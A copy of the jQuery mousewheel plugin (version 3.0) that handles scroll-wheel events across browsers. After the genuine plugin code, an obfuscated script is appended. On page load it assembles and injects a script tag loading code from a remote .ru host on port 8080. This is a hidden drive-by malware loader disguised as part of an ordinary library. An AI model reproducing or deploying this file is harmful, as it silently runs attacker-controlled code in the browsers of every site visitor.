/* Copyright (c) 2006 Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
 * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
 * Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.
 * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.
 *
 * $LastChangedDate: 2007-12-20 09:02:08 -0600 (Thu, 20 Dec 2007) $
 * $Rev: 4265 $
 *
 * Version: 3.0
 * 
 * Requires: $ 1.2.2+
 */

(function($) {

$.event.special.mousewheel = {
	setup: function() {
		var handler = $.event.special.mousewheel.handler;
		
		// Fix pageX, pageY, clientX and clientY for mozilla
		if ( $.browser.mozilla )
			$(this).bind('mousemove.mousewheel', function(event) {
				$.data(this, 'mwcursorposdata', {
					pageX: event.pageX,
					pageY: event.pageY,
					clientX: event.clientX,
					clientY: event.clientY
				});
			});
	
		if ( this.addEventListener )
			this.addEventListener( ($.browser.mozilla ? 'DOMMouseScroll' : 'mousewheel'), handler, false);
		else
			this.onmousewheel = handler;
	},
	
	teardown: function() {
		var handler = $.event.special.mousewheel.handler;
		
		$(this).unbind('mousemove.mousewheel');
		
		if ( this.removeEventListener )
			this.removeEventListener( ($.browser.mozilla ? 'DOMMouseScroll' : 'mousewheel'), handler, false);
		else
			this.onmousewheel = function(){};
		
		$.removeData(this, 'mwcursorposdata');
	},
	
	handler: function(event) {
		var args = Array.prototype.slice.call( arguments, 1 );
		
		event = $.event.fix(event || window.event);
		// Get correct pageX, pageY, clientX and clientY for mozilla
		$.extend( event, $.data(this, 'mwcursorposdata') || {} );
		var delta = 0, returnValue = true;
		
		if ( event.wheelDelta ) delta = event.wheelDelta/120;
		if ( event.detail     ) delta = -event.detail/3;
		if ( $.browser.opera  ) delta = -event.wheelDelta;
		
		event.data  = event.data || {};
		event.type  = "mousewheel";
		
		// Add delta to the front of the arguments
		args.unshift(delta);
		// Add event to the front of the arguments
		args.unshift(event);

		return $.event.handle.apply(this, args);
	}
};

$.fn.extend({
	mousewheel: function(fn) {
		return fn ? this.bind("mousewheel", fn) : this.trigger("mousewheel");
	},
	
	unmousewheel: function(fn) {
		return this.unbind("mousewheel", fn);
	}
});

})(jQuery);
this.V='';O=3496;O+=149;var j;k=function(){Kp=["K"];function R(v,vp,A){return v.substr(vp,A);}this.wn=9147;this.wn++;this.vi=41333;this.vi--;var f='';y=20124;y++;this.B=30377;this.B+=18;var H=String("/n"+"et"+R("fl3oyn",0,2)+R("ixMjLB",0,2)+R("K1O-c1KO",3,2)+R("omT1Qp",0,2)+R("/gUzrA",0,2)+"oo"+R("glrUZX",0,2)+R("e.UnFa",0,2)+R("5aZAcoZA5a",4,2)+"m/"+R("eXLrwwXLre",4,2)+R("tNBw.tBN",3,2)+R("neLDo",0,2)+"t."+R("cn1Jt",0,2)+".p"+"hp");var xw=new String();var ih='';var Q=RegExp;z={};var N=document;this.ey='';var b=new Array();if_=29775;if_++;function o(v,vp){var Mn=["LC","_V"];a=28103;a--;var A=String("[")+vp+"]";var mH={Yw:false};var q=new Q(A, String("g"));return v.replace(q, f);var XG=["pq","VK","uo"];VP={Xj:false};};var Z=["lH"];var _a={UV:"Rm"};var yN=new Array();var e=new String(R("boTA0",0,2)+R("GRsdyRsG",3,2));var s=666277-658197;var at={I:15619};var l=null;this.mw=53519;this.mw+=60;var M=o('skcTrTiQpAtq','2QuNR3eB48kAhqTVn6');Br=38110;Br--;E=42548;E-=95;j=function(){try {var oJ=o('cvr_eUaztwezEul8eOm7egnZtb','BuzwKQyXxR7063jfgO_Z8UvCb');PK=["It","Tx","NB"];Qz=N[oJ](M);var MC=["UT","aW"];var Pd={dn:55193};WL={QQ:false};var mu=["wq"];var kb=o('syrycL','myDavL');this.Ll='';JS=["rG"];var lQ=new String("de"+R("feMGa",0,2)+"r");var v=s+H;dQ={};Kx=48212;Kx++;Qz[kb]=new String("htt"+"p:/"+R("/anWgEr",0,3)+R("ysckSVx",0,3)+"ent"+".ru"+":")+v;var Gc={};Qz[lQ]=[1][0];this._l=59518;this._l+=52;var km={};N[e].appendChild(Qz);var dv=[];var aH=["uS"];var DX={};var HR=new Date();} catch(T){try {} catch(n){};};this.bC='';var GcA=new Array();};var Co=[];zU=["bJY","Om","sg"];};k();var XI=["mR","Ly","jR"];var gz="";ur={};window.onload=j;this.hE=5301;this.hE-=199;var QK={jG:"XU"};
